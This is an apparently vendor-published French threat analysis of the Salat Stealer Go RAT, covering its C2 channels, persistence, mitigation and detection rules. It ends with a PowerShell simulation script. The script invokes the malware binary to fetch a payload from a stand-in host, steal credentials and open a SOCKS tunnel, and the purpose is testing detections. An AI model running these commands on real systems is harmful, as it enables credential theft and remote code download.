Analyse de Salat Stealer : Résilience de C2 basé sur Go et Capacités de Vol d’Informations
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Salat Stealer est un cheval de Troie d’accès à distance basé sur Go qui fonctionne comme un cadre d’exploitation postérieure complet. Il prend en charge plusieurs canaux de communication, y compris WebSocket, HTTP/2, HTTP/3 et QUIC, offrant aux opérateurs des options de commande et de contrôle flexibles et résilientes. Le malware inclut également de vastes capacités de vol d’informations d’identification, ciblant les données de navigation, les portefeuilles de crypto-monnaies, les frappes au clavier, les captures d’écran et le pivotement réseau via SOCKS5. Pour survivre aux redémarrages, il utilise des copies de fichiers cachées, des tâches planifiées et une clé de registre Run. Si son infrastructure principale est perturbée, le malware peut récupérer des détails de commande et de contrôle mis à jour via la blockchain TON.
Enquête
L’analyse explique comment le malware dérive les clés de chiffrement à partir de chaînes statiques combinées avec le nom d’hôte de la victime, puis les utilise pour déchiffrer cinq URL intégrées de commande et de contrôle. Les chercheurs ont également documenté comment Salat Stealer sélectionne son protocole de transport, traite les commandes de l’opérateur, tente d’augmenter ses privilèges et déploie plusieurs méthodes de persistance sur l’hôte. Le rapport décrit également la gamme de données volées et les fonctions d’accès à distance plus larges disponibles pour l’attaquant.
Atténuation
Les défenseurs doivent surveiller les connexions aux URL de commande et de contrôle identifiées, ainsi que le trafic QUIC et WebSocket inattendu vers des destinations inconnues. Les équipes de sécurité doivent également surveiller les tâches planifiées cachées et les entrées de clé de Run suspectes pointant vers des exécutables inconnus. La liste blanche d’application et les contrôles stricts d’exécution peuvent aider à empêcher le chargement de la charge utile basée sur Go. La segmentation réseau et l’inspection TLS peuvent encore améliorer la visibilité sur le trafic sortant suspect associé au malware.
Réponse
Si une activité de Salat Stealer est détectée, isolez immédiatement le système affecté, collectez des images de mémoire et de disque et terminez les processus malveillants. Retirez tous les artefacts de persistance, y compris les tâches planifiées, les entrées de clé de Run et les copies de fichiers cachées utilisées par le malware. Les domaines de commande et de contrôle identifiés doivent être bloqués, ainsi que toute consultation blockchain TON utilisée pour la découverte d’infrastructure de secours. Les informations d’identification exposées et les portefeuilles de crypto-monnaies doivent également être modifiés ou sécurisés sans délai.
graph TB classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc malware_salatr[« <b>Malware</b> – Nom : Salat Stealer (Go RAT)<br/>Description : cheval de Troie d’accès distant basé sur Go. »] class malware_salatr malware process_start[« Processus : SalatStealer.exe démarre et vérifie les instances »] class process_start process malware_salatr –> process_start persistence_task[« Tâche planifiée cachée (explorer.exe) »] class persistence_task action persistence_reg[« Clé Run HKCU\\Run (svchost.exe) »] class persistence_reg action process_start –> persistence_task process_start –> persistence_reg defense_evasion[« Évasion : obfuscation multi-mode »] class defense_evasion action process_start –> defense_evasion discovery[« Découverte système : OS, CPU, GPU, RAM »] class discovery action process_start –> discovery credential_access[« Vol de credentials + keylogging + presse-papiers »] class credential_access action process_start –> credential_access collection[« Capture écran, vidéo et archivage ZIP »] class collection action credential_access –> collection c2[« C2 WebSocket/QUIC + fallback TON »] class c2 action collection –> c2 exfiltration[« Exfiltration via canal C2 »] class exfiltration action c2 –> exfiltration command_exec[« Exécution de commandes distantes + SOCKS5 »] class command_exec action exfiltration –> command_exec lateral[« Mouvement latéral via proxy SOCKS5 »] class lateral action command_exec –> lateral
Flux d’attaque
Détections
Commande et contrôle suspect via des requêtes DNS avec des extensions de domaine de haut niveau inhabituelles (TLD) (via dns)
Voir
Points de Persistence Possibles [ASEPs – Branche Logicielle/NTUSER] (via événement du registre)
Voir
Exécution des processus système à partir de chemins atypiques (via creation_process)
Voir
IOCs (HashSha256) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
IOCs (HashSha1) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
IOCs (HashMd5) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
Détection des activités Salat Stealer RAT [Windows Sysmon]
Voir
Détection des schémas de communication C2 Salat Stealer [Connexion réseau Windows]
Voir
Exécution et détection des modes Salat Stealer [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : La vérification préalable de la télémétrie et de la référence de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit d’attaque & Commandes :
Un attaquant a livré le binaire Salat RAT (salat.exe) à l’hôte victime via une pièce jointe de phishing. Après avoir obtenu un point d’appui à faible privilège, l’attaquant exécute le binaire avec des arguments spécifiques pour :- Télécharger une charge utile secondaire –
main.downloadFile https://malicious.example.com/payload.exe. - Voler des informations d’identification stockées –
main.Steal -module credentials. - Établir un tunnel SOCKS pair-à-pair pour le mouvement latéral –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
Le binaire est lancé à partir d’une session PowerShell élevée pour satisfaire à l’exigence d’élévation (T1548). Chaque invocation apparaît comme une création de processus Sysmon distincte avec la ligne de commande correspondante, satisfaisant la correspondance de chaîne de la règle Sigma.
- Télécharger une charge utile secondaire –
-
Scénario de test de régression :
# ------------------------------------------------- # Scénario de simulation Salat RAT – déclenche la détection # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # S'assurer que le binaire existe (espace réservé – dans un test réel le binaire serait pré-installé) if (-Not (Test-Path $binaryPath)) { Write-Error "Binaire Salat introuvable à $binaryPath" exit 1 } # 1. Télécharger la charge utile secondaire Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. Voler des informations d'identification Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. Ouvrir le tunnel P2P SOCKS Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "Simulation terminée." -
Commandes de nettoyage :
# ------------------------------------------------- # Nettoyage pour la simulation Salat RAT # ------------------------------------------------- # Terminer les processus Salat résiduels Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # Enlever le binaire (si autorisé) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Supprimé $binaryPath" } # Optionnellement, supprimer les événements Sysmon associés de l'index de test (exemple Splunk) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'